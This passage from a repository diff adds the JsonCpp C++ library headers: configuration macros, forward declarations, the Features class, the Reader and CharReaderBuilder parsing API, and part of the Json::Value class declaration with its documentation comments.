#define JSONCPP_DEPRECATED(message) __attribute__((__deprecated__))
#endif // GNUC version
#elif defined(_MSC_VER) // MSVC (after clang because clang on Windows emulates
// MSVC)
#define JSONCPP_DEPRECATED(message) __declspec(deprecated(message))
#endif // __clang__ || __GNUC__ || _MSC_VER
#if !defined(JSONCPP_DEPRECATED)
#define JSONCPP_DEPRECATED(message)
#endif // if !defined(JSONCPP_DEPRECATED)
#if defined(__clang__) || (defined(__GNUC__) && (__GNUC__ >= 6))
#define JSON_USE_INT64_DOUBLE_CONVERSION 1
#endif
#if !defined(JSON_IS_AMALGAMATION)
#include "allocator.h"
#include "version.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
namespace Json {
using Int = int;
using UInt = unsigned int;
#if defined(JSON_NO_INT64)
using LargestInt = int;
using LargestUInt = unsigned int;
#undef JSON_HAS_INT64
#else // if defined(JSON_NO_INT64)
// For Microsoft Visual use specific types as long long is not supported
#if defined(_MSC_VER) // Microsoft Visual Studio
using Int64 = __int64;
using UInt64 = unsigned __int64;
#else // if defined(_MSC_VER) // Other platforms, use long long
using Int64 = int64_t;
using UInt64 = uint64_t;
#endif // if defined(_MSC_VER)
using LargestInt = Int64;
using LargestUInt = UInt64;
#define JSON_HAS_INT64
#endif // if defined(JSON_NO_INT64)
template <typename T>
using Allocator =
typename std::conditional<JSONCPP_USING_SECURE_MEMORY, SecureAllocator<T>,
std::allocator<T>>::type;
using String = std::basic_string<char, std::char_traits<char>, Allocator<char>>;
using IStringStream =
std::basic_istringstream<String::value_type, String::traits_type,
String::allocator_type>;
using OStringStream =
std::basic_ostringstream<String::value_type, String::traits_type,
String::allocator_type>;
using IStream = std::istream;
using OStream = std::ostream;
} // namespace Json
// Legacy names (formerly macros).
using JSONCPP_STRING = Json::String;
using JSONCPP_ISTRINGSTREAM = Json::IStringStream;
using JSONCPP_OSTRINGSTREAM = Json::OStringStream;
using JSONCPP_ISTREAM = Json::IStream;
using JSONCPP_OSTREAM = Json::OStream;
#endif // JSON_CONFIG_H_INCLUDED

View File

@@ -0,0 +1,43 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_FORWARDS_H_INCLUDED
#define JSON_FORWARDS_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "config.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
namespace Json {
// writer.h
class StreamWriter;
class StreamWriterBuilder;
class Writer;
class FastWriter;
class StyledWriter;
class StyledStreamWriter;
// reader.h
class Reader;
class CharReader;
class CharReaderBuilder;
// json_features.h
class Features;
// value.h
using ArrayIndex = unsigned int;
class StaticString;
class Path;
class PathArgument;
class Value;
class ValueIteratorBase;
class ValueIterator;
class ValueConstIterator;
} // namespace Json
#endif // JSON_FORWARDS_H_INCLUDED

View File

@@ -0,0 +1,15 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_JSON_H_INCLUDED
#define JSON_JSON_H_INCLUDED
#include "config.h"
#include "json_features.h"
#include "reader.h"
#include "value.h"
#include "writer.h"
#endif // JSON_JSON_H_INCLUDED

View File

@@ -0,0 +1,62 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_FEATURES_H_INCLUDED
#define JSON_FEATURES_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "forwards.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
#pragma pack(push)
#pragma pack()
namespace Json {
/** \brief Configuration passed to reader and writer.
* This configuration object can be used to force the Reader or Writer
* to behave in a standard conforming way.
*/
class JSON_API Features {
public:
/** \brief A configuration that allows all features and assumes all strings
* are UTF-8.
* - C & C++ comments are allowed
* - Root object can be any JSON value
* - Assumes Value strings are encoded in UTF-8
*/
static Features all();
/** \brief A configuration that is strictly compatible with the JSON
* specification.
* - Comments are forbidden.
* - Root object must be either an array or an object value.
* - Assumes Value strings are encoded in UTF-8
*/
static Features strictMode();
/** \brief Initialize the configuration like JsonConfig::allFeatures;
*/
Features();
/// \c true if comments are allowed. Default: \c true.
bool allowComments_{true};
/// \c true if root must be either an array or an object value. Default: \c
/// false.
bool strictRoot_{false};
/// \c true if dropped null placeholders are allowed. Default: \c false.
bool allowDroppedNullPlaceholders_{false};
/// \c true if numeric object key are allowed. Default: \c false.
bool allowNumericKeys_{false};
};
} // namespace Json
#pragma pack(pop)
#endif // JSON_FEATURES_H_INCLUDED

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,437 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_READER_H_INCLUDED
#define JSON_READER_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "json_features.h"
#include "value.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
#include <deque>
#include <iosfwd>
#include <istream>
#include <stack>
#include <string>
// Disable warning C4251: <data member>: <type> needs to have dll-interface to
// be used by...
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(push)
#pragma warning(disable : 4251)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma pack(push)
#pragma pack()
namespace Json {
/** \brief Unserialize a <a HREF="http://www.json.org">JSON</a> document into a
* Value.
*
* \deprecated Use CharReader and CharReaderBuilder.
*/
class JSON_API Reader {
public:
using Char = char;
using Location = const Char*;
/** \brief An error tagged with where in the JSON text it was encountered.
*
* The offsets give the [start, limit) range of bytes within the text. Note
* that this is bytes, not codepoints.
*/
struct StructuredError {
ptrdiff_t offset_start;
ptrdiff_t offset_limit;
String message;
};
/** \brief Constructs a Reader allowing all features for parsing.
* \deprecated Use CharReader and CharReaderBuilder.
*/
Reader();
/** \brief Constructs a Reader allowing the specified feature set for parsing.
* \deprecated Use CharReader and CharReaderBuilder.
*/
Reader(const Features& features);
/** \brief Read a Value from a <a HREF="http://www.json.org">JSON</a>
* document.
*
* \param document UTF-8 encoded string containing the document
* to read.
* \param[out] root Contains the root value of the document if it
* was successfully parsed.
* \param collectComments \c true to collect comment and allow writing
* them back during serialization, \c false to
* discard comments. This parameter is ignored
* if Features::allowComments_ is \c false.
* \return \c true if the document was successfully parsed, \c false if an
* error occurred.
*/
bool parse(const std::string& document, Value& root,
bool collectComments = true);
/** \brief Read a Value from a <a HREF="http://www.json.org">JSON</a>
* document.
*
* \param beginDoc Pointer on the beginning of the UTF-8 encoded
* string of the document to read.
* \param endDoc Pointer on the end of the UTF-8 encoded string
* of the document to read. Must be >= beginDoc.
* \param[out] root Contains the root value of the document if it
* was successfully parsed.
* \param collectComments \c true to collect comment and allow writing
* them back during serialization, \c false to
* discard comments. This parameter is ignored
* if Features::allowComments_ is \c false.
* \return \c true if the document was successfully parsed, \c false if an
* error occurred.
*/
bool parse(const char* beginDoc, const char* endDoc, Value& root,
bool collectComments = true);
/// \brief Parse from input stream.
/// \see Json::operator>>(std::istream&, Json::Value&).
bool parse(IStream& is, Value& root, bool collectComments = true);
/** \brief Returns a user friendly string that list errors in the parsed
* document.
*
* \return Formatted error message with the list of errors with their
* location in the parsed document. An empty string is returned if no error
* occurred during parsing.
* \deprecated Use getFormattedErrorMessages() instead (typo fix).
*/
JSONCPP_DEPRECATED("Use getFormattedErrorMessages() instead.")
String getFormatedErrorMessages() const;
/** \brief Returns a user friendly string that list errors in the parsed
* document.
*
* \return Formatted error message with the list of errors with their
* location in the parsed document. An empty string is returned if no error
* occurred during parsing.
*/
String getFormattedErrorMessages() const;
/** \brief Returns a vector of structured errors encountered while parsing.
*
* \return A (possibly empty) vector of StructuredError objects. Currently
* only one error can be returned, but the caller should tolerate multiple
* errors. This can occur if the parser recovers from a non-fatal parse
* error and then encounters additional errors.
*/
std::vector<StructuredError> getStructuredErrors() const;
/** \brief Add a semantic error message.
*
* \param value JSON Value location associated with the error
* \param message The error message.
* \return \c true if the error was successfully added, \c false if the Value
* offset exceeds the document size.
*/
bool pushError(const Value& value, const String& message);
/** \brief Add a semantic error message with extra context.
*
* \param value JSON Value location associated with the error
* \param message The error message.
* \param extra Additional JSON Value location to contextualize the error
* \return \c true if the error was successfully added, \c false if either
* Value offset exceeds the document size.
*/
bool pushError(const Value& value, const String& message, const Value& extra);
/** \brief Return whether there are any errors.
*
* \return \c true if there are no errors to report \c false if errors have
* occurred.
*/
bool good() const;
private:
enum TokenType {
tokenEndOfStream = 0,
tokenObjectBegin,
tokenObjectEnd,
tokenArrayBegin,
tokenArrayEnd,
tokenString,
tokenNumber,
tokenTrue,
tokenFalse,
tokenNull,
tokenArraySeparator,
tokenMemberSeparator,
tokenComment,
tokenError
};
class Token {
public:
TokenType type_;
Location start_;
Location end_;
};
class ErrorInfo {
public:
Token token_;
String message_;
Location extra_;
};
using Errors = std::deque<ErrorInfo>;
bool readToken(Token& token);
bool readTokenSkippingComments(Token& token);
void skipSpaces();
bool match(const Char* pattern, int patternLength);
bool readComment();
bool readCStyleComment();
bool readCppStyleComment();
bool readString();
void readNumber();
bool readValue();
bool readObject(Token& token);
bool readArray(Token& token);
bool decodeNumber(Token& token);
bool decodeNumber(Token& token, Value& decoded);
bool decodeString(Token& token);
bool decodeString(Token& token, String& decoded);
bool decodeDouble(Token& token);
bool decodeDouble(Token& token, Value& decoded);
bool decodeUnicodeCodePoint(Token& token, Location& current, Location end,
unsigned int& unicode);
bool decodeUnicodeEscapeSequence(Token& token, Location& current,
Location end, unsigned int& unicode);
bool addError(const String& message, Token& token, Location extra = nullptr);
bool recoverFromError(TokenType skipUntilToken);
bool addErrorAndRecover(const String& message, Token& token,
TokenType skipUntilToken);
void skipUntilSpace();
Value& currentValue();
Char getNextChar();
void getLocationLineAndColumn(Location location, int& line,
int& column) const;
String getLocationLineAndColumn(Location location) const;
void addComment(Location begin, Location end, CommentPlacement placement);
static bool containsNewLine(Location begin, Location end);
static String normalizeEOL(Location begin, Location end);
using Nodes = std::stack<Value*>;
Nodes nodes_;
Errors errors_;
String document_;
Location begin_{};
Location end_{};
Location current_{};
Location lastValueEnd_{};
Value* lastValue_{};
String commentsBefore_;
Features features_;
bool collectComments_{};
}; // Reader
/** Interface for reading JSON from a char array.
*/
class JSON_API CharReader {
public:
struct JSON_API StructuredError {
ptrdiff_t offset_start;
ptrdiff_t offset_limit;
String message;
};
virtual ~CharReader() = default;
/** \brief Read a Value from a <a HREF="http://www.json.org">JSON</a>
* document. The document must be a UTF-8 encoded string containing the
* document to read.
*
* \param beginDoc Pointer on the beginning of the UTF-8 encoded string
* of the document to read.
* \param endDoc Pointer on the end of the UTF-8 encoded string of the
* document to read. Must be >= beginDoc.
* \param[out] root Contains the root value of the document if it was
* successfully parsed.
* \param[out] errs Formatted error messages (if not NULL) a user
* friendly string that lists errors in the parsed
* document.
* \return \c true if the document was successfully parsed, \c false if an
* error occurred.
*/
virtual bool parse(char const* beginDoc, char const* endDoc, Value* root,
String* errs);
/** \brief Returns a vector of structured errors encountered while parsing.
* Each parse call resets the stored list of errors.
*/
std::vector<StructuredError> getStructuredErrors() const;
class JSON_API Factory {
public:
virtual ~Factory() = default;
/** \brief Allocate a CharReader via operator new().
* \throw std::exception if something goes wrong (e.g. invalid settings)
*/
virtual CharReader* newCharReader() const = 0;
}; // Factory
protected:
class Impl {
public:
virtual ~Impl() = default;
virtual bool parse(char const* beginDoc, char const* endDoc, Value* root,
String* errs) = 0;
virtual std::vector<StructuredError> getStructuredErrors() const = 0;
};
explicit CharReader(std::unique_ptr<Impl> impl) : _impl(std::move(impl)) {}
private:
std::unique_ptr<Impl> _impl;
}; // CharReader
/** \brief Build a CharReader implementation.
*
* Usage:
* \code
* using namespace Json;
* CharReaderBuilder builder;
* builder["collectComments"] = false;
* Value value;
* String errs;
* bool ok = parseFromStream(builder, std::cin, &value, &errs);
* \endcode
*/
class JSON_API CharReaderBuilder : public CharReader::Factory {
public:
// Note: We use a Json::Value so that we can add data-members to this class
// without a major version bump.
/** Configuration of this builder.
* These are case-sensitive.
* Available settings (case-sensitive):
* - `"collectComments": false or true`
* - true to collect comment and allow writing them back during
* serialization, false to discard comments. This parameter is ignored
* if allowComments is false.
* - `"allowComments": false or true`
* - true if comments are allowed.
* - `"allowTrailingCommas": false or true`
* - true if trailing commas in objects and arrays are allowed.
* - `"strictRoot": false or true`
* - true if root must be either an array or an object value
* - `"allowDroppedNullPlaceholders": false or true`
* - true if dropped null placeholders are allowed. (See
* StreamWriterBuilder.)
* - `"allowNumericKeys": false or true`
* - true if numeric object keys are allowed.
* - `"allowSingleQuotes": false or true`
* - true if '' are allowed for strings (both keys and values)
* - `"stackLimit": integer`
* - Exceeding stackLimit (recursive depth of `readValue()`) will cause an
* exception.
* - This is a security issue (seg-faults caused by deeply nested JSON), so
* the default is low.
* - `"failIfExtra": false or true`
* - If true, `parse()` returns false when extra non-whitespace trails the
* JSON value in the input string.
* - `"rejectDupKeys": false or true`
* - If true, `parse()` returns false when a key is duplicated within an
* object.
* - `"allowSpecialFloats": false or true`
* - If true, special float values (NaNs and infinities) are allowed and
* their values are lossfree restorable.
* - `"skipBom": false or true`
* - If true, if the input starts with the Unicode byte order mark (BOM),
* it is skipped.
*
* You can examine 'settings_` yourself to see the defaults. You can also
* write and read them just like any JSON Value.
* \sa setDefaults()
*/
Json::Value settings_;
CharReaderBuilder();
~CharReaderBuilder() override;
CharReader* newCharReader() const override;
/** \return true if 'settings' are legal and consistent;
* otherwise, indicate bad settings via 'invalid'.
*/
bool validate(Json::Value* invalid) const;
/** A simple way to update a specific setting.
*/
Value& operator[](const String& key);
/** Called by ctor, but you can use this to reset settings_.
* \pre 'settings' != NULL (but Json::null is fine)
* \remark Defaults:
* \snippet src/lib_json/json_reader.cpp CharReaderBuilderDefaults
*/
static void setDefaults(Json::Value* settings);
/** Same as old Features::strictMode().
* \pre 'settings' != NULL (but Json::null is fine)
* \remark Defaults:
* \snippet src/lib_json/json_reader.cpp CharReaderBuilderStrictMode
*/
static void strictMode(Json::Value* settings);
/** ECMA-404 mode.
* \pre 'settings' != NULL (but Json::null is fine)
* \remark Defaults:
* \snippet src/lib_json/json_reader.cpp CharReaderBuilderECMA404Mode
*/
static void ecma404Mode(Json::Value* settings);
};
/** Consume entire stream and use its begin/end.
* Someday we might have a real StreamReader, but for now this
* is convenient.
*/
bool JSON_API parseFromStream(CharReader::Factory const&, IStream&, Value* root,
String* errs);
/** \brief Read from 'sin' into 'root'.
*
* Always keep comments from the input JSON.
*
* This can be used to read a file into a particular sub-object.
* For example:
* \code
* Json::Value root;
* cin >> root["dir"]["file"];
* cout << root;
* \endcode
* Result:
* \verbatim
* {
* "dir": {
* "file": {
* // The input stream JSON would be nested here.
* }
* }
* }
* \endverbatim
* \throw std::exception on parse error.
* \see Json::operator<<()
*/
JSON_API IStream& operator>>(IStream&, Value&);
} // namespace Json
#pragma pack(pop)
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(pop)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#endif // JSON_READER_H_INCLUDED

View File

@@ -0,0 +1,967 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_VALUE_H_INCLUDED
#define JSON_VALUE_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "forwards.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
// Conditional NORETURN attribute on the throw functions would:
// a) suppress false positives from static code analysis
// b) possibly improve optimization opportunities.
#if !defined(JSONCPP_NORETURN)
#if defined(_MSC_VER) && _MSC_VER == 1800
#define JSONCPP_NORETURN __declspec(noreturn)
#else
#define JSONCPP_NORETURN [[noreturn]]
#endif
#endif
// Support for '= delete' with template declarations was a late addition
// to the c++11 standard and is rejected by clang 3.8 and Apple clang 8.2
// even though these declare themselves to be c++11 compilers.
#if !defined(JSONCPP_TEMPLATE_DELETE)
#if defined(__clang__) && defined(__apple_build_version__)
#if __apple_build_version__ <= 8000042
#define JSONCPP_TEMPLATE_DELETE
#endif
#elif defined(__clang__)
#if __clang_major__ == 3 && __clang_minor__ <= 8
#define JSONCPP_TEMPLATE_DELETE
#endif
#endif
#if !defined(JSONCPP_TEMPLATE_DELETE)
#define JSONCPP_TEMPLATE_DELETE = delete
#endif
#endif
#include <array>
#include <exception>
#include <map>
#include <memory>
#include <string>
#include <vector>
// Disable warning C4251: <data member>: <type> needs to have dll-interface to
// be used by...
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(push)
#pragma warning(disable : 4251 4275)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma pack(push)
#pragma pack()
/** \brief JSON (JavaScript Object Notation).
*/
namespace Json {
#if JSON_USE_EXCEPTION
/** Base class for all exceptions we throw.
*
* We use nothing but these internally. Of course, STL can throw others.
*/
class JSON_API Exception : public std::exception {
public:
Exception(String msg);
~Exception() noexcept override;
char const* what() const noexcept override;
protected:
String msg_;
};
/** Exceptions which the user cannot easily avoid.
*
* E.g. out-of-memory (when we use malloc), stack-overflow, malicious input
*
* \remark derived from Json::Exception
*/
class JSON_API RuntimeError : public Exception {
public:
RuntimeError(String const& msg);
};
/** Exceptions thrown by JSON_ASSERT/JSON_FAIL macros.
*
* These are precondition-violations (user bugs) and internal errors (our bugs).
*
* \remark derived from Json::Exception
*/
class JSON_API LogicError : public Exception {
public:
LogicError(String const& msg);
};
#endif
/// used internally
JSONCPP_NORETURN void throwRuntimeError(String const& msg);
/// used internally
JSONCPP_NORETURN void throwLogicError(String const& msg);
/** \brief Type of the value held by a Value object.
*/
enum ValueType {
nullValue = 0, ///< 'null' value
intValue, ///< signed integer value
uintValue, ///< unsigned integer value
realValue, ///< double value
stringValue, ///< UTF-8 string value
booleanValue, ///< bool value
arrayValue, ///< array value (ordered list)
objectValue ///< object value (collection of name/value pairs).
};
enum CommentPlacement {
commentBefore = 0, ///< a comment placed on the line before a value
commentAfterOnSameLine, ///< a comment just after a value on the same line
commentAfter, ///< a comment on the line after a value (only make sense for
/// root value)
numberOfCommentPlacement
};
/** \brief Type of precision for formatting of real values.
*/
enum PrecisionType {
significantDigits = 0, ///< we set max number of significant digits in string
decimalPlaces ///< we set max number of digits after "." in string
};
/** \brief Lightweight wrapper to tag static string.
*
* Value constructor and objectValue member assignment takes advantage of the
* StaticString and avoid the cost of string duplication when storing the
* string or the member name.
*
* Example of usage:
* \code
* Json::Value aValue( StaticString("some text") );
* Json::Value object;
* static const StaticString code("code");
* object[code] = 1234;
* \endcode
*/
class JSON_API StaticString {
public:
explicit StaticString(const char* czstring) : c_str_(czstring) {}
operator const char*() const { return c_str_; }
const char* c_str() const { return c_str_; }
private:
const char* c_str_;
};
/** \brief Represents a <a HREF="http://www.json.org">JSON</a> value.
*
* This class is a discriminated union wrapper that can represents a:
* - signed integer [range: Value::minInt - Value::maxInt]
* - unsigned integer (range: 0 - Value::maxUInt)
* - double
* - UTF-8 string
* - boolean
* - 'null'
* - an ordered list of Value
* - collection of name/value pairs (javascript object)
*
* The type of the held value is represented by a #ValueType and
* can be obtained using type().
*
* Values of an #objectValue or #arrayValue can be accessed using operator[]()
* methods.
* Non-const methods will automatically create the a #nullValue element
* if it does not exist.
* The sequence of an #arrayValue will be automatically resized and initialized
* with #nullValue. resize() can be used to enlarge or truncate an #arrayValue.
*
* The get() methods can be used to obtain default value in the case the
* required element does not exist.
*
* It is possible to iterate over the list of member keys of an object using
* the getMemberNames() method.
*
* \note #Value string-length fit in size_t, but keys must be < 2^30.
* (The reason is an implementation detail.) A #CharReader will raise an
* exception if a bound is exceeded to avoid security holes in your app,
* but the Value API does *not* check bounds. That is the responsibility
* of the caller.
*/
class JSON_API Value {
friend class ValueIteratorBase;
public:
using Members = std::vector<String>;
using iterator = ValueIterator;
using const_iterator = ValueConstIterator;
using UInt = Json::UInt;
using Int = Json::Int;
#if defined(JSON_HAS_INT64)
using UInt64 = Json::UInt64;
using Int64 = Json::Int64;
#endif // defined(JSON_HAS_INT64)
using LargestInt = Json::LargestInt;
using LargestUInt = Json::LargestUInt;
using ArrayIndex = Json::ArrayIndex;
// Required for boost integration, e. g. BOOST_TEST
using value_type = std::string;
#if JSON_USE_NULLREF
// Binary compatibility kludges, do not use.
static const Value& null;
static const Value& nullRef;
#endif
// null and nullRef are deprecated, use this instead.
static Value const& nullSingleton();
/// Minimum signed integer value that can be stored in a Json::Value.
static constexpr LargestInt minLargestInt =
LargestInt(~(LargestUInt(-1) / 2));
/// Maximum signed integer value that can be stored in a Json::Value.
static constexpr LargestInt maxLargestInt = LargestInt(LargestUInt(-1) / 2);
/// Maximum unsigned integer value that can be stored in a Json::Value.
static constexpr LargestUInt maxLargestUInt = LargestUInt(-1);
/// Minimum signed int value that can be stored in a Json::Value.
static constexpr Int minInt = Int(~(UInt(-1) / 2));
/// Maximum signed int value that can be stored in a Json::Value.
static constexpr Int maxInt = Int(UInt(-1) / 2);
/// Maximum unsigned int value that can be stored in a Json::Value.
static constexpr UInt maxUInt = UInt(-1);
#if defined(JSON_HAS_INT64)
/// Minimum signed 64 bits int value that can be stored in a Json::Value.
static constexpr Int64 minInt64 = Int64(~(UInt64(-1) / 2));
/// Maximum signed 64 bits int value that can be stored in a Json::Value.
static constexpr Int64 maxInt64 = Int64(UInt64(-1) / 2);
/// Maximum unsigned 64 bits int value that can be stored in a Json::Value.
static constexpr UInt64 maxUInt64 = UInt64(-1);
#endif // defined(JSON_HAS_INT64)
/// Default precision for real value for string representation.
static constexpr UInt defaultRealPrecision = 17;
// The constant is hard-coded because some compiler have trouble
// converting Value::maxUInt64 to a double correctly (AIX/xlC).
// Assumes that UInt64 is a 64 bits integer.
static constexpr double maxUInt64AsDouble = 18446744073709551615.0;
// Workaround for bug in the NVIDIAs CUDA 9.1 nvcc compiler
// when using gcc and clang backend compilers. CZString
// cannot be defined as private. See issue #486
#ifdef __NVCC__
public:
#else
private:
#endif
#ifndef JSONCPP_DOC_EXCLUDE_IMPLEMENTATION
class CZString {
public:
enum DuplicationPolicy { noDuplication = 0, duplicate, duplicateOnCopy };
CZString(ArrayIndex index);
CZString(char const* str, unsigned length, DuplicationPolicy allocate);
CZString(CZString const& other);
CZString(CZString&& other) noexcept;
~CZString();
CZString& operator=(const CZString& other);
CZString& operator=(CZString&& other) noexcept;
bool operator<(CZString const& other) const;
bool operator==(CZString const& other) const;
ArrayIndex index() const;
// const char* c_str() const; ///< \deprecated
char const* data() const;
unsigned length() const;
bool isStaticString() const;
private:
void swap(CZString& other);
struct StringStorage {
unsigned policy_ : 2;
unsigned length_ : 30; // 1GB max
};
char const* cstr_; // actually, a prefixed string, unless policy is noDup
union {
ArrayIndex index_;
StringStorage storage_;
};
};
public:
typedef std::map<CZString, Value> ObjectValues;
#endif // ifndef JSONCPP_DOC_EXCLUDE_IMPLEMENTATION
public:
/**
* \brief Create a default Value of the given type.
*
* This is a very useful constructor.
* To create an empty array, pass arrayValue.
* To create an empty object, pass objectValue.
* Another Value can then be set to this one by assignment.
* This is useful since clear() and resize() will not alter types.
*
* Examples:
* \code
* Json::Value null_value; // null
* Json::Value arr_value(Json::arrayValue); // []
* Json::Value obj_value(Json::objectValue); // {}
* \endcode
*/
Value(ValueType type = nullValue);
Value(Int value);
Value(UInt value);
#if defined(JSON_HAS_INT64)
Value(Int64 value);
Value(UInt64 value);
#endif // if defined(JSON_HAS_INT64)
Value(double value);
Value(const char* value); ///< Copy til first 0. (NULL causes to seg-fault.)
Value(const char* begin, const char* end); ///< Copy all, incl zeroes.
/**
* \brief Constructs a value from a static string.
*
* Like other value string constructor but do not duplicate the string for
* internal storage. The given string must remain alive after the call to
* this constructor.
*
* \note This works only for null-terminated strings. (We cannot change the
* size of this class, so we have nowhere to store the length, which might be
* computed later for various operations.)
*
* Example of usage:
* \code
* static StaticString foo("some text");
* Json::Value aValue(foo);
* \endcode
*/
Value(const StaticString& value);
Value(const String& value);
Value(bool value);
Value(std::nullptr_t ptr) = delete;
Value(const Value& other);
Value(Value&& other) noexcept;
~Value();
/// \note Overwrite existing comments. To preserve comments, use
/// #swapPayload().
Value& operator=(const Value& other);
Value& operator=(Value&& other) noexcept;
/// Swap everything.
void swap(Value& other);
/// Swap values but leave comments and source offsets in place.
void swapPayload(Value& other);
/// copy everything.
void copy(const Value& other);
/// copy values but leave comments and source offsets in place.
void copyPayload(const Value& other);
ValueType type() const;
/// Compare payload only, not comments etc.
bool operator<(const Value& other) const;
bool operator<=(const Value& other) const;
bool operator>=(const Value& other) const;
bool operator>(const Value& other) const;
bool operator==(const Value& other) const;
bool operator!=(const Value& other) const;
int compare(const Value& other) const;
const char* asCString() const; ///< Embedded zeroes could cause you trouble!
#if JSONCPP_USING_SECURE_MEMORY
unsigned getCStringLength() const; // Allows you to understand the length of
// the CString
#endif
String asString() const; ///< Embedded zeroes are possible.
/** Get raw char* of string-value.
* \return false if !string. (Seg-fault if str or end are NULL.)
*/
bool getString(char const** begin, char const** end) const;
Int asInt() const;
UInt asUInt() const;
#if defined(JSON_HAS_INT64)
Int64 asInt64() const;
UInt64 asUInt64() const;
#endif // if defined(JSON_HAS_INT64)
LargestInt asLargestInt() const;
LargestUInt asLargestUInt() const;
float asFloat() const;
double asDouble() const;
bool asBool() const;
bool isNull() const;
bool isBool() const;
bool isInt() const;
bool isInt64() const;
bool isUInt() const;
bool isUInt64() const;
bool isIntegral() const;
bool isDouble() const;
bool isNumeric() const;
bool isString() const;
bool isArray() const;
bool isObject() const;
/// The `as<T>` and `is<T>` member function templates and specializations.
template <typename T> T as() const JSONCPP_TEMPLATE_DELETE;
template <typename T> bool is() const JSONCPP_TEMPLATE_DELETE;
bool isConvertibleTo(ValueType other) const;
/// Number of values in array or object
ArrayIndex size() const;
/// \brief Return true if empty array, empty object, or null;
/// otherwise, false.
bool empty() const;
/// Return !isNull()
explicit operator bool() const;
/// Remove all object members and array elements.
/// \pre type() is arrayValue, objectValue, or nullValue
/// \post type() is unchanged
void clear();
/// Resize the array to newSize elements.
/// New elements are initialized to null.
/// May only be called on nullValue or arrayValue.
/// \pre type() is arrayValue or nullValue
/// \post type() is arrayValue
void resize(ArrayIndex newSize);
///@{
/// Access an array element (zero based index). If the array contains less
/// than index element, then null value are inserted in the array so that
/// its size is index+1.
/// (You may need to say 'value[0u]' to get your compiler to distinguish
/// this from the operator[] which takes a string.)
Value& operator[](ArrayIndex index);
Value& operator[](int index);
///@}
///@{
/// Access an array element (zero based index).
/// (You may need to say 'value[0u]' to get your compiler to distinguish
/// this from the operator[] which takes a string.)
const Value& operator[](ArrayIndex index) const;
const Value& operator[](int index) const;
///@}
/// If the array contains at least index+1 elements, returns the element
/// value, otherwise returns defaultValue.
Value get(ArrayIndex index, const Value& defaultValue) const;
/// Return true if index < size().
bool isValidIndex(ArrayIndex index) const;
/// \brief Append value to array at the end.
///
/// Equivalent to jsonvalue[jsonvalue.size()] = value;
Value& append(const Value& value);
Value& append(Value&& value);
/// \brief Insert value in array at specific index
bool insert(ArrayIndex index, const Value& newValue);
bool insert(ArrayIndex index, Value&& newValue);
/// Access an object value by name, create a null member if it does not exist.
/// \note Because of our implementation, keys are limited to 2^30 -1 chars.
/// Exceeding that will cause an exception.
Value& operator[](const char* key);
/// Access an object value by name, returns null if there is no member with
/// that name.
const Value& operator[](const char* key) const;
/// Access an object value by name, create a null member if it does not exist.
/// \param key may contain embedded nulls.
Value& operator[](const String& key);
/// Access an object value by name, returns null if there is no member with
/// that name.
/// \param key may contain embedded nulls.
const Value& operator[](const String& key) const;
/** \brief Access an object value by name, create a null member if it does not
* exist.
*
* If the object has no entry for that name, then the member name used to
* store the new entry is not duplicated.
* Example of use:
* \code
* Json::Value object;
* static const StaticString code("code");
* object[code] = 1234;
* \endcode
*/
Value& operator[](const StaticString& key);
/// Return the member named key if it exist, defaultValue otherwise.
/// \note deep copy
Value get(const char* key, const Value& defaultValue) const;
/// Return the member named key if it exist, defaultValue otherwise.
/// \note deep copy
/// \note key may contain embedded nulls.
Value get(const char* begin, const char* end,
const Value& defaultValue) const;
/// Return the member named key if it exist, defaultValue otherwise.
/// \note deep copy
/// \param key may contain embedded nulls.
Value get(const String& key, const Value& defaultValue) const;
/// Most general and efficient version of isMember()const, get()const,
/// and operator[]const
/// \note As stated elsewhere, behavior is undefined if (end-begin) >= 2^30
Value const* find(char const* begin, char const* end) const;
/// Most general and efficient version of isMember()const, get()const,
/// and operator[]const
Value const* find(const String& key) const;
/// Most general and efficient version of object-mutators.
/// \note As stated elsewhere, behavior is undefined if (end-begin) >= 2^30
/// \return non-zero, but JSON_ASSERT if this is neither object nor nullValue.
Value* demand(char const* begin, char const* end);
/// \brief Remove and return the named member.
///
/// Do nothing if it did not exist.
/// \pre type() is objectValue or nullValue
/// \post type() is unchanged
void removeMember(const char* key);
/// Same as removeMember(const char*)
/// \param key may contain embedded nulls.
void removeMember(const String& key);
/// Same as removeMember(const char* begin, const char* end, Value* removed),
/// but 'key' is null-terminated.
